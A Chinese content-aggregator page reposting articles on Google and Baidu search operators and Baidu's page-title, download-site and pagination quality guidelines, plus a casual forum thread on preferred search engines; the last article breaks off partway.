
搜索指定网站内容
推荐10个超级实用的谷歌搜索技巧,让你的效率提高十倍!
网站优化 • 优采云 发表了文章 • 0 个评论 • 76 次浏览 • 2022-06-19 00:23
相信大家在使用搜索引擎的时候,大部分情况下都是直接输入要搜索的关键词,然后在搜索结果里一个个点开查找。
但除了特定信息外,搜索引擎同时也会返回大量无关的信息。
有时候我们可能翻好几页也不一定能找到满意的结果,平白增加不少的工作量。
其实,有一些特殊的技巧,可以对搜索结果进行限制和筛选,缩小检索范围,让搜索结果更加准确,大大提高我们的效率。
下面,扩展迷就给大家介绍一些在进行谷歌搜索时可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同样支持。
1. 强制精确匹配
当你输入某个长句或者短语进行搜索后,搜索引擎会默认显示所有分别包含各个单词的相关信息。
要么就是,只匹配到了你输入的部分字词,这就很令人糟心了。
其实这时候,你可以使用引号来强制完全匹配所有字符。
如:“what is extension”
加引号前的搜索结果如下:
加上引号后的搜索结果:
再比如:“扩展迷网站的地址”
加上引号前的搜索结果是这样的:
加上引号后搜出来是这样的:
在百度搜索上,强制匹配技巧同样适用。
2. AND运算符
很多人不知道的是,绝大部分搜索引擎都允许在搜索中使用逻辑运算符。
如果你想查询同时包含多个搜索词的所有站点,只需要在搜索引擎中输入:搜索词 AND 搜索词。
搜索引擎则会返回包含两者的搜索结果。
比如:扩展迷 AND 下载
3. OR运算符
与AND相反,OR可以返回你输入的多个搜索词分别相关的结果,而不仅仅是和多个搜索词都同时相关的结果。
巧妙使用OR运算符,可以让你在未能确定哪个关键词对于搜索结果起决定作用时,依然可以确保搜索结果的准确性。
比如:扩展迷 OR python
4. 排除指定关键词
如果在进行准确搜索时没有找到自己想要的结果,你还可以对包含特定词汇的信息进行排除,仅需使用减号,即 -就可以了(注意减号前有空格)。
比如搜索:扩展迷,第二条结果包含了哔哩哔哩网站的内容。
使用排除符号搜索:扩展迷 -哔哩哔哩
可以看到,包含哔哩哔哩的结果就都没有了。
通过这个技巧,大家在搜索指定的教程、新闻资讯的时候就方便得多了。
5. 通配符
*,星号,通配符,可以用作模糊搜索。
如果我们忘记了需要搜索的词句的某一部分,就可以用*代替缺失的部分。
比如:扩*迷Extfans
这个技巧在查歌词、文章原文的时候非常省时省力,而不会返回太多无关结果。
6. 站内搜索
众所周知,许多网站上内容虽然丰富,但欠缺了站内搜索的入口,当我们想要查找网站上的某个资源的话就比较麻烦了。
实际上,搜索引擎也可以帮你完成站内搜索的工作。只需输入:搜索词site:网址
比如搜索:下载工具 site:
或:site: 下载工具
直接就可以找到扩展迷网站上有关“下载工具”的所有内容了。
顺带一提,如果再结合本文第一条的精准搜索功能,站内搜索将会变得更加强大。
7. 在网页标题、链接和正文中搜索
如果你需要找出和搜索词相关的所有网页标题、链接和正文,只需要按下方规则搜索即可:
把搜索范围限定在网页标题中——intitle:搜索词
把搜索范围限定在url链接中——inurl:搜索词
把搜索范围限定在正文中——intext:搜索词
例如,在搜索引擎中输入:intitle: 扩展迷安装教程
就会得到所有标题中包含“扩展迷安装教程”的网页了。
8.搜索相关网站
想要知道与某个网站相关的网站还有哪些?你仅需在搜索引擎中输入related:网址,就可以了。
比如:related:
即可得到所有和相关的网站反馈结果。
9. 搜索指定文件类型
使用这个技巧,可以快速帮你找到各个格式的文件。
输入:filetype:文档格式 搜索词
比如:filetype:pdf 疫情防控
10. 在某个时间范围内搜索
如果你想找出某段时间内的搜索结果,可以在搜索引擎中输入:搜索词年份..年份(搜索词和年份之间有空格)。
比如:扩展迷油猴脚本 2020..2021
总结
尽管有些技能或许并不常用,但精准搜索和站内搜索这些技能的使用范围还是相当广泛的。
更重要的是,以上提到的技巧都可以单独或搭配使用,中间用空格隔开即可。
比如,在扩展迷网站上搜索标题含“油猴脚本”的内容。
只需输入:intitle:“油猴脚本” site:
再比如,在豆瓣上搜索标题包含“你好李焕英”的内容。
输入:intitle:“你好李焕英” site:
如果你能够灵活对上述所有搜索技能进行组合运用,完全能按照自己的意愿缩小或者扩展搜索范围,达到事半功倍的效果。
随着谷歌等搜索引擎中提供的内容越来越繁杂,对于用户来说,掌握这些搜索技巧还是非常必要的。
本文为公众号【扩展迷Extfans】原创 查看全部
推荐10个超级实用的谷歌搜索技巧,让你的效率提高十倍!
相信大家在使用搜索引擎的时候,大部分情况下都是直接输入要搜索的关键词,然后在搜索结果里一个个点开查找。
但除了特定信息外,搜索引擎同时也会返回大量无关的信息。
有时候我们可能翻好几页也不一定能找到满意的结果,平白增加不少的工作量。
其实,有一些特殊的技巧,可以对搜索结果进行限制和筛选,缩小检索范围,让搜索结果更加准确,大大提高我们的效率。
下面,扩展迷就给大家介绍一些在进行谷歌搜索时可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同样支持。
1. 强制精确匹配
当你输入某个长句或者短语进行搜索后,搜索引擎会默认显示所有分别包含各个单词的相关信息。
要么就是,只匹配到了你输入的部分字词,这就很令人糟心了。
其实这时候,你可以使用引号来强制完全匹配所有字符。
如:“what is extension”
加引号前的搜索结果如下:
加上引号后的搜索结果:
再比如:“扩展迷网站的地址”
加上引号前的搜索结果是这样的:
加上引号后搜出来是这样的:
在百度搜索上,强制匹配技巧同样适用。
2. AND运算符
很多人不知道的是,绝大部分搜索引擎都允许在搜索中使用逻辑运算符。
如果你想查询同时包含多个搜索词的所有站点,只需要在搜索引擎中输入:搜索词 AND 搜索词。
搜索引擎则会返回包含两者的搜索结果。
比如:扩展迷 AND 下载
3. OR运算符
与AND相反,OR可以返回你输入的多个搜索词分别相关的结果,而不仅仅是和多个搜索词都同时相关的结果。
巧妙使用OR运算符,可以让你在未能确定哪个关键词对于搜索结果起决定作用时,依然可以确保搜索结果的准确性。
比如:扩展迷 OR python
4. 排除指定关键词
如果在进行准确搜索时没有找到自己想要的结果,你还可以对包含特定词汇的信息进行排除,仅需使用减号,即 -就可以了(注意减号前有空格)。
比如搜索:扩展迷,第二条结果包含了哔哩哔哩网站的内容。
使用排除符号搜索:扩展迷 -哔哩哔哩
可以看到,包含哔哩哔哩的结果就都没有了。
通过这个技巧,大家在搜索指定的教程、新闻资讯的时候就方便得多了。
5. 通配符
*,星号,通配符,可以用作模糊搜索。
如果我们忘记了需要搜索的词句的某一部分,就可以用*代替缺失的部分。
比如:扩*迷Extfans
这个技巧在查歌词、文章原文的时候非常省时省力,而不会返回太多无关结果。
6. 站内搜索
众所周知,许多网站上内容虽然丰富,但欠缺了站内搜索的入口,当我们想要查找网站上的某个资源的话就比较麻烦了。
实际上,搜索引擎也可以帮你完成站内搜索的工作。只需输入:搜索词site:网址
比如搜索:下载工具 site:
或:site: 下载工具
直接就可以找到扩展迷网站上有关“下载工具”的所有内容了。
顺带一提,如果再结合本文第一条的精准搜索功能,站内搜索将会变得更加强大。
7. 在网页标题、链接和正文中搜索
如果你需要找出和搜索词相关的所有网页标题、链接和正文,只需要按下方规则搜索即可:
把搜索范围限定在网页标题中——intitle:搜索词
把搜索范围限定在url链接中——inurl:搜索词
把搜索范围限定在正文中——intext:搜索词
例如,在搜索引擎中输入:intitle: 扩展迷安装教程
就会得到所有标题中包含“扩展迷安装教程”的网页了。
8.搜索相关网站
想要知道与某个网站相关的网站还有哪些?你仅需在搜索引擎中输入related:网址,就可以了。
比如:related:
即可得到所有和相关的网站反馈结果。
9. 搜索指定文件类型
使用这个技巧,可以快速帮你找到各个格式的文件。
输入:filetype:文档格式 搜索词
比如:filetype:pdf 疫情防控
10. 在某个时间范围内搜索
如果你想找出某段时间内的搜索结果,可以在搜索引擎中输入:搜索词年份..年份(搜索词和年份之间有空格)。
比如:扩展迷油猴脚本 2020..2021
总结
尽管有些技能或许并不常用,但精准搜索和站内搜索这些技能的使用范围还是相当广泛的。
更重要的是,以上提到的技巧都可以单独或搭配使用,中间用空格隔开即可。
比如,在扩展迷网站上搜索标题含“油猴脚本”的内容。
只需输入:intitle:“油猴脚本” site:
再比如,在豆瓣上搜索标题包含“你好李焕英”的内容。
输入:intitle:“你好李焕英” site:
如果你能够灵活对上述所有搜索技能进行组合运用,完全能按照自己的意愿缩小或者扩展搜索范围,达到事半功倍的效果。
随着谷歌等搜索引擎中提供的内容越来越繁杂,对于用户来说,掌握这些搜索技巧还是非常必要的。
本文为公众号【扩展迷Extfans】原创
百度搜索页面规范指南:网站站点或智能小程序满足用户需求,标题,内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 144 次浏览 • 2022-06-18 10:20
百度搜索页面规范指南--用户需求满足
【需要找百度小程序开发,网站制作开发公司直接找我们】
2.1 标题规范 ——针对页面标题违规问题
2017年9月,百度搜索发布清风算法,严惩开发者通过页面标题作弊,欺骗用户并获得点击的行为;从而保证搜索用户体验,促进搜索生态良性发展。
2018年11月,百度搜索针对页面标题作弊行为发布《百度搜索页面标题规范》,对搜索生态下的网页标题进行了严格的规范和要求。不符合《百度搜索页面标题规范》的站点,将会被清风算法1.0覆盖,受到限制搜索展现的处理。
《百度搜索页面标题规范》
1.标题的原则
• 站点或智能小程序应确保每个页面都有指定的标题,且同一站点的不同页面应分别使用不同的标题;
• 页面标题应准确概括页面内容,避免使用模糊和不相关的描述;
• 页面标题应简明扼要,避免使用冗长的标题,避免关键词堆砌;
• 页面标题的符号使用正确,建议参考百度建议的标题符号用法(详细内容请参见后文“3.2标题的符号”部分)
2.不允许出现的标题类型
标题存在以下恶劣问题时,会对这类结果做相应的搜索结果展现限制。
2.1标题内容虚假
指标题和页面内容不相符,欺骗诱导用户点击的情况。
类型1:虚假官网
指非官方站点或智能小程序,但标题表述为官网的情况。
问题示例12:非官方网站但标题为官网的负面案例
类型2:无法满足用户需求
如:标题中标明可下载或在线阅读小说txt,但是页面中不提供下载服务或诱导用户下载APP;或在标题中说明有百度云下载、支持在线观看,但是页面既不能下载,又不能在线观看。
问题示例13:标题标明可下载小说,但页面中诱导下载APP的负面案例
类型3:标题表述部分虚假
如:某网页标题中标明有江苏一本大学排名,但页面只有大学名单,而没有排名相关的内容。
2.2标题重复、堆砌
指站点或智能小程序通过页面标题过度重复或堆砌等手段,获取不正当流量的情况。
类型1:标题关键词大量重复
类型2:标题大量堆砌语义相近的关键词标签
问题示例14:标题堆砌关键词的负面案例
3.优质页面标题建议
优质的页面标题,不仅能明确表达页面的主旨目的,更能给搜索用户有效的引导,吸引目标用户点击。对符合优质规范的标题,百度将会给予更多的展现优待。
3.1 标题的构成
百度页面标题可以概括为“核心词+修饰词”的格式,修饰词建议不多于3个。
3.2 标题的符号
4.百度标题改写机制
为保证搜索用户的体验,百度搜索将会对部分易造成用户误导的页面标题进行相应的改写,包括但不限于以下几种情况:
对于标题堆砌等过度优化的站点首页,百度搜索会将过度优化的标题直接改写为站点名称或公司名称;
对于部分表意模糊的页面,百度搜索将会从页面中提取页面关键信息补充在标题中,保证用户能够及时获取有效信息。
针对标题堆砌的改写示例:针对标题堆砌问题的改写示例
2.2 清风算法3.0——针对下载站违规问题
为了规范下载行业站点及智能小程序的欺骗下载、捆绑下载等伤害用户的行为,百度搜索分别于2018年4月、2018年10月发布清风算法2.0、3.0版本,清风算法覆盖的问题范围从标题作弊行为扩展到下载行业站点及智能小程序的欺骗用户行为。
2018年10月,百度搜索发布《百度搜索下载站质量规范》,对百度搜索范围内下载站点及智能小程序的行为进行严格要求和控制。不符合此规范的下载站或智能小程序,将会被清风算法3.0覆盖,受到搜索展现的限制。
《百度下载站质量规范》
1.下载站质量规范概要
下载站需遵守以下原则,坚持为用户提供高质量、有效,安全的下载服务:
①保证软件的安全性,无挂马、窃取用户隐私等恶意行为;
②无”李鬼下载“行为,通过普通下载/本地下载入口下载的软件必须为下载按钮文字描述的目标软件;
③下载页面中不能存在与下载按钮类似的诱导类广告;
④允许存在安全下载/高速下载的情况,但是页面中必须有明确说明解释。
2.下载站质量规范说明
2.1 PC端下载站质量规范
图示:PC端下载站页面
a板块.本地下载:
应保证下载软件的安全性,无挂马、窃取用户隐私等问题;
本地下载/普通下载点击后,效果必须为直接下载目标软件,不能存在下载内容与描述不符的“李鬼下载”问题;
b板块.高速下载:
若存在高速下载情况,需要在页面上明确告知用户其与本地下载(如上图a区所示)的区别,如:说明实际效果为先下载高速下载器,然后在高速下载器中下载目标软件(如上图b区所示);
c板块.诱导广告:
下载页面中不能存在与下载按钮相似的诱导类广告,如上图c区所示的情况是不允许出现的。
2.2高速下载器规范
说明:此项规范针对用户在PC页面中下载高速下载器后,通过高速下载器下载目标软件的情况。
图示:用户下载高速下载器打开后的界面
①允许下载前默认勾选推荐软件(如上图红框区域所示),但是用户可自主根据实际需求取消勾选,取消勾选后不能再将推荐软件进行捆绑下载;
②推荐下载的软件不能为色情、赌博等违法软件;
2.3移动端下载站质量规范
图示:移动端下载界面
①保证下载软件的安全性,无挂马、窃取用户隐私等问题;
②下载点击后,效果必须为直接下载目标软件,不能存在“李鬼下载”现象;
③下载需要有明确说明,在页面上告知用户,如上图所示,说明实际效果为先下载某应用市场,后续可在应用市场中下载目标软件,这种方式更加安全等;
④允许默认勾选,优先进行高速下载,但用户可自主根据实际情况取消勾选,直接进入普通下载,下载目标软件。
2.3 信风算法——针对虚假翻页诱导问题
2019年5月,百度搜索发布信风算法,控制网站或智能小程序利用翻页键诱导用户的行为。
信风算法主要针对以下情况:
用户点击翻页键时,自动跳转至网站的其他频道页(如目录页、站外广告页等)。
问题示例15:移动端,用户点击“下一页”直接跳转至站内频道目录页
问题示例16:PC端,用户点击“下一页”直接跳转至站内频道目录页
对于此类问题,我们建议:
1、不要放置虚假翻页键。如果您希望能获得更多的用户浏览和点击,可以在正文结束后,为用户推荐相关的优质内容,吸引用户点击。
2、尊重用户浏览体验,避免出现刻意拆分一篇简短文章为多个分页的行为。
2.4 违规信息规范——针对违法违规信息
为了维护安全健康的搜索生态,保障搜索用户的合法权益,2019年2月,百度搜索发布《关于百度搜索严厉打击虚假诈骗等违法违规信息的公告》,打击电信网络中的虚假诈骗、违法交易、黄赌毒等违法违规信息。
百度搜索打击的违法违规信息包括但不限于以下内容:
1.虚假、诈骗类信息: 查看全部
百度搜索页面规范指南:网站站点或智能小程序满足用户需求,标题,内容
百度搜索页面规范指南--用户需求满足
【需要找百度小程序开发,网站制作开发公司直接找我们】
2.1 标题规范 ——针对页面标题违规问题
2017年9月,百度搜索发布清风算法,严惩开发者通过页面标题作弊,欺骗用户并获得点击的行为;从而保证搜索用户体验,促进搜索生态良性发展。
2018年11月,百度搜索针对页面标题作弊行为发布《百度搜索页面标题规范》,对搜索生态下的网页标题进行了严格的规范和要求。不符合《百度搜索页面标题规范》的站点,将会被清风算法1.0覆盖,受到限制搜索展现的处理。
《百度搜索页面标题规范》
1.标题的原则
• 站点或智能小程序应确保每个页面都有指定的标题,且同一站点的不同页面应分别使用不同的标题;
• 页面标题应准确概括页面内容,避免使用模糊和不相关的描述;
• 页面标题应简明扼要,避免使用冗长的标题,避免关键词堆砌;
• 页面标题的符号使用正确,建议参考百度建议的标题符号用法(详细内容请参见后文“3.2标题的符号”部分)
2.不允许出现的标题类型
标题存在以下恶劣问题时,会对这类结果做相应的搜索结果展现限制。
2.1标题内容虚假
指标题和页面内容不相符,欺骗诱导用户点击的情况。
类型1:虚假官网
指非官方站点或智能小程序,但标题表述为官网的情况。
问题示例12:非官方网站但标题为官网的负面案例
类型2:无法满足用户需求
如:标题中标明可下载或在线阅读小说txt,但是页面中不提供下载服务或诱导用户下载APP;或在标题中说明有百度云下载、支持在线观看,但是页面既不能下载,又不能在线观看。
问题示例13:标题标明可下载小说,但页面中诱导下载APP的负面案例
类型3:标题表述部分虚假
如:某网页标题中标明有江苏一本大学排名,但页面只有大学名单,而没有排名相关的内容。
2.2标题重复、堆砌
指站点或智能小程序通过页面标题过度重复或堆砌等手段,获取不正当流量的情况。
类型1:标题关键词大量重复
类型2:标题大量堆砌语义相近的关键词标签
问题示例14:标题堆砌关键词的负面案例
3.优质页面标题建议
优质的页面标题,不仅能明确表达页面的主旨目的,更能给搜索用户有效的引导,吸引目标用户点击。对符合优质规范的标题,百度将会给予更多的展现优待。
3.1 标题的构成
百度页面标题可以概括为“核心词+修饰词”的格式,修饰词建议不多于3个。
3.2 标题的符号
4.百度标题改写机制
为保证搜索用户的体验,百度搜索将会对部分易造成用户误导的页面标题进行相应的改写,包括但不限于以下几种情况:
对于标题堆砌等过度优化的站点首页,百度搜索会将过度优化的标题直接改写为站点名称或公司名称;
对于部分表意模糊的页面,百度搜索将会从页面中提取页面关键信息补充在标题中,保证用户能够及时获取有效信息。
针对标题堆砌的改写示例:针对标题堆砌问题的改写示例
2.2 清风算法3.0——针对下载站违规问题
为了规范下载行业站点及智能小程序的欺骗下载、捆绑下载等伤害用户的行为,百度搜索分别于2018年4月、2018年10月发布清风算法2.0、3.0版本,清风算法覆盖的问题范围从标题作弊行为扩展到下载行业站点及智能小程序的欺骗用户行为。
2018年10月,百度搜索发布《百度搜索下载站质量规范》,对百度搜索范围内下载站点及智能小程序的行为进行严格要求和控制。不符合此规范的下载站或智能小程序,将会被清风算法3.0覆盖,受到搜索展现的限制。
《百度下载站质量规范》
1.下载站质量规范概要
下载站需遵守以下原则,坚持为用户提供高质量、有效,安全的下载服务:
①保证软件的安全性,无挂马、窃取用户隐私等恶意行为;
②无”李鬼下载“行为,通过普通下载/本地下载入口下载的软件必须为下载按钮文字描述的目标软件;
③下载页面中不能存在与下载按钮类似的诱导类广告;
④允许存在安全下载/高速下载的情况,但是页面中必须有明确说明解释。
2.下载站质量规范说明
2.1 PC端下载站质量规范
图示:PC端下载站页面
a板块.本地下载:
应保证下载软件的安全性,无挂马、窃取用户隐私等问题;
本地下载/普通下载点击后,效果必须为直接下载目标软件,不能存在下载内容与描述不符的“李鬼下载”问题;
b板块.高速下载:
若存在高速下载情况,需要在页面上明确告知用户其与本地下载(如上图a区所示)的区别,如:说明实际效果为先下载高速下载器,然后在高速下载器中下载目标软件(如上图b区所示);
c板块.诱导广告:
下载页面中不能存在与下载按钮相似的诱导类广告,如上图c区所示的情况是不允许出现的。
2.2高速下载器规范
说明:此项规范针对用户在PC页面中下载高速下载器后,通过高速下载器下载目标软件的情况。
图示:用户下载高速下载器打开后的界面
①允许下载前默认勾选推荐软件(如上图红框区域所示),但是用户可自主根据实际需求取消勾选,取消勾选后不能再将推荐软件进行捆绑下载;
②推荐下载的软件不能为色情、赌博等违法软件;
2.3移动端下载站质量规范
图示:移动端下载界面
①保证下载软件的安全性,无挂马、窃取用户隐私等问题;
②下载点击后,效果必须为直接下载目标软件,不能存在“李鬼下载”现象;
③下载需要有明确说明,在页面上告知用户,如上图所示,说明实际效果为先下载某应用市场,后续可在应用市场中下载目标软件,这种方式更加安全等;
④允许默认勾选,优先进行高速下载,但用户可自主根据实际情况取消勾选,直接进入普通下载,下载目标软件。
2.3 信风算法——针对虚假翻页诱导问题
2019年5月,百度搜索发布信风算法,控制网站或智能小程序利用翻页键诱导用户的行为。
信风算法主要针对以下情况:
用户点击翻页键时,自动跳转至网站的其他频道页(如目录页、站外广告页等)。
问题示例15:移动端,用户点击“下一页”直接跳转至站内频道目录页
问题示例16:PC端,用户点击“下一页”直接跳转至站内频道目录页
对于此类问题,我们建议:
1、不要放置虚假翻页键。如果您希望能获得更多的用户浏览和点击,可以在正文结束后,为用户推荐相关的优质内容,吸引用户点击。
2、尊重用户浏览体验,避免出现刻意拆分一篇简短文章为多个分页的行为。
2.4 违规信息规范——针对违法违规信息
为了维护安全健康的搜索生态,保障搜索用户的合法权益,2019年2月,百度搜索发布《关于百度搜索严厉打击虚假诈骗等违法违规信息的公告》,打击电信网络中的虚假诈骗、违法交易、黄赌毒等违法违规信息。
百度搜索打击的违法违规信息包括但不限于以下内容:
1.虚假、诈骗类信息:
选新浪微博中国的搜索引擎大概就剩下百度了
网站优化 • 优采云 发表了文章 • 0 个评论 • 58 次浏览 • 2022-06-18 10:02
搜索指定网站内容时,使用手机浏览器搜索指定网站内容,会推荐该网站内容中的新闻。
另类点儿的有手机版pc端和各种问答网站手机端可搜小众关键词就有结果了,
搜狗这个搜索功能我觉得不是特别好,特别是经常搜一些没有用过的,感觉搜狗查不出来的时候,搜狗就这么做了。
个人习惯:豆瓣。
百度啊,
新浪博客
其实我最喜欢的是,google搜索。但是要翻墙。
我觉得googlemap也是个不错的选择,打开后,你可以搜索离你最近的城市,然后就是图片,文字,各种信息。不但要用自己感兴趣的,而且要评论才能看到附近有啥好玩的,体验不一样的生活。
googlemapsandsearch
必应啊。android之前版本搜索整个公司的所有东西都会有好吗。
国内我选新浪微博
中国的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微软的有samsungbada系列,都不错.国外的googleamazonyahoo之类的.
腾讯搜索,
百度了吧
其实我觉得首页很大程度上只是一个映射某一些网站的门户类网站,根据网站的内容大而全,
在网络上一般搜索的主要依据就是各种英文网站 查看全部
选新浪微博中国的搜索引擎大概就剩下百度了
搜索指定网站内容时,使用手机浏览器搜索指定网站内容,会推荐该网站内容中的新闻。
另类点儿的有手机版pc端和各种问答网站手机端可搜小众关键词就有结果了,
搜狗这个搜索功能我觉得不是特别好,特别是经常搜一些没有用过的,感觉搜狗查不出来的时候,搜狗就这么做了。
个人习惯:豆瓣。
百度啊,
新浪博客
其实我最喜欢的是,google搜索。但是要翻墙。
我觉得googlemap也是个不错的选择,打开后,你可以搜索离你最近的城市,然后就是图片,文字,各种信息。不但要用自己感兴趣的,而且要评论才能看到附近有啥好玩的,体验不一样的生活。
googlemapsandsearch
必应啊。android之前版本搜索整个公司的所有东西都会有好吗。
国内我选新浪微博
中国的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微软的有samsungbada系列,都不错.国外的googleamazonyahoo之类的.
腾讯搜索,
百度了吧
其实我觉得首页很大程度上只是一个映射某一些网站的门户类网站,根据网站的内容大而全,
在网络上一般搜索的主要依据就是各种英文网站
用了10年百度,这6个搜索技巧,我居然才知道!!
网站优化 • 优采云 发表了文章 • 0 个评论 • 400 次浏览 • 2022-06-18 03:52
文 / 一周进步 · 安哥拉
在信息过载的当下,即便我们不去主动获取信息,各种应用推荐和用户生产的内容,也会把我们裹挟其中,但其中真正有价值的内容,实际上可能是少之又少。
每个人都会面临「时间有限」的约束,如何从信息浪潮中快速找到自己需要的优质内容,几乎成了每一个现代人必须面对的问题。
除了找到优质的信息源,更为重要的是,用好手中的搜索,因为你想知道的东西,80% 都可以在网上找到答案。
因此,今天的文章,我整理了提高搜索效率和质量的一些方法,包含搜索指令、以图搜图技巧、屏蔽网站和广告等,希望这些内容对你有帮助。
01. 搜索指令
①过滤关键词
在搜索的关键词后面使用减号,加上你想过滤的关键词,可以去除标题中包含过滤关键词的搜索结果。
举个例子,在百度中以关键词「学习App」进行搜索,默认排在搜索结果顶部的是来自知乎的内容。
为了对比前后的效果,以「学习App-知乎」再次搜索,返回的结果就会过滤来自知乎的内容。
②在指定网站中搜索
在关键词后面加上site:网址,可以在指定的网站中搜索关键词,这比较适合垂直且网址好记的网站,可以让你在不打开网站的情况下,直接使用关键词进行搜索。
以寻找答辩 PPT模板为例,直接以「答辩ppt」进行搜索,返回的结果来自不同的网站,既有 PPT 教程的内容,也有 PPT 模板网站,比较杂乱。
如果你只想搜索返回 PPT模板的结果,可试着将搜索的范围局限在PPT模板网站,例如微软家的模板网站,这样得到的搜索结果会更加精确。
值得一提的是,site:后面添加的网址,不需要带上或,否则返回的结果会显示没有找到相关的内容。
③指定文件类型
在关键词后面加上filetype:文件格式,可以指定搜索结果返回的文件类型,这里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
还是以答辩 PPT为例,在关键词后面加上「filetype:ppt」,这样返回的结果就都仅限于 ppt 格式的文档,不会乱入其他类型的文件。
需要注意的是,自 Office2013起,Office新增了三种类型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持这三个新的格式,而在 Google 中则可以正常使用。
④精确匹配
有时我们使用关键词进行搜索时,搜索引擎会将我们的关键词拆分为两个小短语进行搜索,导致搜索返回的结果不尽如人意。
为了解决这个问题,我们可以将关键词放到引号里边,这样搜索引擎在搜索时就会返回包含完整关键词的结果,不会将关键词拆分为乱序的多个短语。
这里的引号既可以是中文引号,也可以是英文引号,使用中文或英文引号对搜索返回的结果不会有影响。
如下图所示,以「“城市地铁”」进行搜索时,返回的结果都是完全匹配的,相比为未添加引号时可以适当地提高搜索效率。
⑤通配符搜索
俗话说“好记性不如烂笔头”,有时刚听到或想到的东西,由于没有及时记录下来,不一会儿在我们脑中可能就只剩下星星点点的碎片。
就像是你隐约记得有部动漫叫《四月xx谎言》,但就是想不起中间的部分,此时你就可以使用星号*来代替,以此来告知搜索引擎,中间还有一部分你不清楚的内容。
这里的星号*被称为通配符,常用于模糊搜索的场景,当你不知道完整的文本时,可以使用通配符代替其中的一个或多个字符,以此来尽可能地接近自己想要搜索的内容。
⑥限定标题关键词
在关键词 A后面加上intitle:关键词 B,它有点像是数学中的交集,即搜索返回的结果中,其标题必须同时包含关键词 A和 B。
以下图为例,以「学习网站intitle:剪辑」进行搜索,下方返回的搜索结果就会同时包含这两个关键词,让搜索结果更聚焦。
前面虽然单独介绍了每一个搜索指令,但在实际搜索场景下,我们可以将两个或多个搜索命令结合起来使用,不同指令联动配合,提高搜索的效率和质量。
02.百度高级搜索
刚接触这些搜索指令的朋友,前期可能还会记得,但如果后续没有有意识地使用它们,随着时间的流逝,这些指令就会慢慢被遗忘。
比较幸运的是,百度也自带了类似搜索指令的高级搜索,它以更易于理解的形式,将搜索指令呈现在我们面前。
点击百度搜索页面右上角的「设置」,打开「高级搜索」。
在你了解了前面各个指令的含义之后,再来看下图的高级搜索面板,应该就很好理解了。
以搜索关键词为例,完整关键词对应精确匹配的命令,不包括关键词对应过滤关键词命令。
在包含完整关键词输入框中输入关键词「城市地铁」,接着点击底部的高级搜索,在打开的搜索页面中,它会自动为关键词加上双引号,这与前面介绍的搜索命令是一致的。
此外,高级搜索面板还可以限定搜索返回的文档格式,这里列出的文档格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以图搜图
不少朋友可能都知道百度的「以图搜图」功能,通过将本地的图片上传到百度,它会帮我们找到与这张图片相关的其他图片。
但多数人每次使用百度的以图搜图时,可能都是先在百度中搜索以图搜图,然后打开百度识图的页面,最后再上传图片,整个流程下来有些繁琐。
为帮助大家更高效地使用以图搜图,这里介绍两个搜图的小技巧:
①按图搜索
这是百度图片自带的功能,当你使用百度搜索特定图片时,将鼠标移动到搜索返回的图片上方,右下角会有两个按钮,一个是下载,另一个则是按图片搜索。
点击「按图片搜索」,就会调用百度的以图搜图功能,寻找所有与当前图片相关的内容。
另外,当你点击图片的缩略图查看图片详情时,点击图片下方的「按图搜索」,同样可以实现以图搜图的操作。
② Search by Image
前面介绍的「按图搜索」有个不好的地方在于,它仅限在百度图片的页面起作用,对于其他网页的图片,就不能直接调用百度的以图搜图功能。
Search by Image,是一个强大的图片搜索插件,它集成了 30多个搜索引擎,可以将任意网页的图片上传到不同的搜索引擎,以此来查找与当前图片相关的图片或内容。
安装了插件之后,在任意图片上右击,选择「Search by image」,可以看到不同搜索引擎提供的以图搜图功能,选择 Baidu 就会直接打开百度识图页面。
打开插件的设置页面,可以查看插件集成的所有图片搜索引擎,勾选引擎前面的复选框即可启用,长按拖拽改变引擎的位置,会影响右键菜单中引擎的上下顺序。
04.屏蔽网站
在搜索时,除了过滤不需要的关键词,我们可能还想要屏蔽个人不喜欢的网站,例如各类容易让电脑中病毒的软件下载站、2345 网站等。
我对屏蔽网站比较理想的期待是,它不会出现在搜索结果中,但目前百度搜索无法做到这样,想屏蔽的网站还是会出现在搜索结果中,只能在打开网站的时候将其屏蔽。
为了间接屏蔽网站,我们需要为浏览器安装一个插件——Simple Blocker,正如其名,它屏蔽网站的操作非常简单。
安装插件后,点击右上角的插件图标,打开插件的配置页面,在网站屏蔽列表Website Blockist中粘贴你想屏蔽的网站的网址,点击下方的按钮「Save Blocklist」保存。
之后当你打开屏蔽列表中的网站,网站会跳转到 Simple Blocker的拦截页面,提示当前页面已被屏蔽。
可能这类屏蔽插件的正确用法不是这样子,正确的用法可能是为了屏蔽少儿不宜的东西,但为了屏蔽那些恶心人的网站,我也只能拿来这么用了。
Simple Blocker 插件下载地址:
05. 屏蔽广告
说到百度,它最为让人诟病的地方在于竞价排名。竞价排名,直接体现为我们在搜索结果顶部或者右侧看到的广告。
今年 4 月份百度经过一轮整改后,原本泛滥的广告行为已经有所收敛。这里我以关键词「降噪耳机」进行搜索,返回的页面顶部没有广告,广告只出现在了右侧栏。
如果你是一个强迫症患者,想去除网页侧边栏的广告,可以为浏览器安装去除广告的插件,这些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以随意从中任选一款。
去广告插件下载地址:
写在最后
除了本文介绍的内容,我之前还写过一篇介绍多个垂直搜索引擎的文章,感兴趣的朋友可以戳下方的链接:
浏览至此,如果你在搜索方面也有自己的心得或体会,不妨在留言区写下你的想法,与其他朋友一起分享交流。
好看的人都在看▽ 查看全部
用了10年百度,这6个搜索技巧,我居然才知道!!
文 / 一周进步 · 安哥拉
在信息过载的当下,即便我们不去主动获取信息,各种应用推荐和用户生产的内容,也会把我们裹挟其中,但其中真正有价值的内容,实际上可能是少之又少。
每个人都会面临「时间有限」的约束,如何从信息浪潮中快速找到自己需要的优质内容,几乎成了每一个现代人必须面对的问题。
除了找到优质的信息源,更为重要的是,用好手中的搜索,因为你想知道的东西,80% 都可以在网上找到答案。
因此,今天的文章,我整理了提高搜索效率和质量的一些方法,包含搜索指令、以图搜图技巧、屏蔽网站和广告等,希望这些内容对你有帮助。
01. 搜索指令
①过滤关键词
在搜索的关键词后面使用减号,加上你想过滤的关键词,可以去除标题中包含过滤关键词的搜索结果。
